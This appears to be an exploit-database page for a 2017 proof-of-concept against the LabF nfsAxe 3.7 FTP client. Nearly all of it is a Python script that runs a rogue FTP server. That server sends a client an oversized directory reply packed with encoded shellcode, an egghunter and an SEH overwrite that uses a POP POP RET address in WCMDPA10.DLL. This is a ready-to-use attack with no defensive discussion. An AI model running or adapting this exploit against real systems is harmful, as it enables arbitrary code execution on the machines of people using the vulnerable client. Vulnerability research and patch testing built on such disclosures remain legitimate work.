Exploit the possiblities

LabF nfsAxe FTP Client 3.7 Buffer Overflow

LabF nfsAxe FTP Client 3.7 Buffer Overflow
Posted May 17, 2017
Authored by Tulpa

LabF nfsAxe ftp client version 3.7 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
MD5 | e8cf2984980f4fd7eb969d212b2f6850

LabF nfsAxe FTP Client 3.7 Buffer Overflow

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#!/usr/bin/python

print "LabF nfsAxe 3.7 FTP Client Buffer Overflow (SEH)"
print "Author: Tulpa / tulpa[at]tulpa-security[dot]com"

#Author website: www.tulpa-security.com
#Author twitter: @tulpa_security

#Tested on Windows Vista x86

import socket
import sys

#badchars \x00\x10\x0a

buf = ""
buf += "\xbb\x7e\xbc\x7c\x19\xda\xc2\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x59\x83\xe8\xfc\x31\x58\x0e\x03\x26\xb2\x9e"
buf += "\xec\x3e\xf2\x5e\x0f\xbe\x40\x12\x4b\xbe\xa1\xd5\x95"
buf += "\xc7\xc8\x6f\x9c\x7e\xb7\xdd\x8e\x69\x13\x07\xbf\xae"
buf += "\x85\x31\xca\x9d\xfd\xaf\xc8\xe6\x8f\x7e\x3f\xf4\xee"
buf += "\xa6\xdd\x77\xa2\x8e\x27\xb9\xce\xce\x9b\x53\x78\x7c"
buf += "\xee\x04\xb5\xb0\x20\xfe\xf5\xf8\x3c\xff\x5e\x55\xb4"
buf += "\x1a\xe9\x08\xc6\x8e\xda\xeb\xa2\xc5\x1a\x87\x6b\xd5"
buf += "\x97\xe7\x77\x48\x2c\x5f\x80\x79\x3f\xed\xc7\x51\x11"
buf += "\xbf\x18\x79\x18\xfc\xbe\x92\x0b\x69\x49\x3a\x2d\x83"
buf += "\x23\xc8\x74\xd0\xc9\xcc\x06\x1f\x37\xb8\xe2\xb1\x6b"
buf += "\xbf\xdf\xbe\x64\xb3\x20\xc1\x74\x92\xa9\xc5\xfa\xc6"
buf += "\x41\xf4\xfd\x60\x17\x1b\x91\x6d\x43\x8c\x93\x6c\x6b"
buf += "\x4c\x6b\x3b\x4b\x1b\xc4\x94\xdc\xe4\xbd\x5d\xb4\x15"
buf += "\x14\x7d\xb3\x29\xa6\x82\x94\xfa\xa1\x7e\x1b\x27\x23"
buf += "\xf7\xfd\x4d\x53\x51\x51\x6d\x06\x45\x02\xc2\x56\x20"
buf += "\xb8\xb3\xfe\x99\x3f\x6e\xef\x94\x02\xf7\x8c\x4a\xd6"
buf += "\x75\xae\xb6\xe6\x45\xa5\xa3\x51\xb5\x91\x42\xb6\xff"
buf += "\xa2\x70\x29\x44\xd5\x3c\x6d\x79\xa0\xc0\x49\xc9\x3b"
buf += "\x44\xb6\x85\xb2\xc8\x92\x45\x48\x74\xff\x75\x06\x24"
buf += "\xae\x24\xf7\x85\x01\x8e\xa6\x54\x5d\x65\x49\x07\x5e"
buf += "\xd3\x79\x2e\x41\xb6\x86\xcf\xb3\xb8\x2c\x03\xe3\xb9"
buf += "\x9a\x57\xf4\x13\x0d\x34\x5f\xca\x1a\x31\x33\xd6\xbc"
buf += "\xce\x89\x2a\x36\x84\x14\x2b\x49\xce\x9c\x81\x51\x85"
buf += "\xf9\x35\x63\x72\x1e\x07\x2a\x0f\xd5\xe3\xad\xe1\x27"
buf += "\x0b\x51\xcc\x87\x5f\x92\xce\x7c\xa7\x22\xc1\x70\xa6"
buf += "\x63\x36\x78\x93\x17\xec\x69\x91\x06\x67\xcb\x7d\xc8"
buf += "\x9c\x8a\xf6\xc6\x29\xd8\x53\xcb\xac\x35\xe8\xf7\x25"
buf += "\xc8\x07\x1c\x3b\xfa\x17\x6a\xd1\xa3\xc9\x30\x7e\x9e"
buf += "\xfe\xca"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

egg = "w00tw00t"

nseh = "\x90\x90\xEB\x05" #JMP over SEH
seh = "\xF8\x54\x01\x68" #POP POP RET 680154F8 in WCMDPA10.DLL

buffer = "A" * 100 + egg + "\x90" * 10 + buf + "D" * (9266-len(buf)) + nseh + seh + egghunter + "C" * 576

port = 21

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", port))
s.listen(5)
print("[i] Evil FTP server started on port: "+str(port)+"\r\n")
except:
print("[!] Failed to bind the server to port: "+str(port)+"\r\n")

while True:
conn, addr = s.accept()
conn.send('220 Welcome to your unfriendly FTP server\r\n')
print(conn.recv(1024))
conn.send("331 OK\r\n")
print(conn.recv(1024))
conn.send('230 OK\r\n')
print(conn.recv(1024))
conn.send('220 "'+buffer+'" is current directory\r\n')

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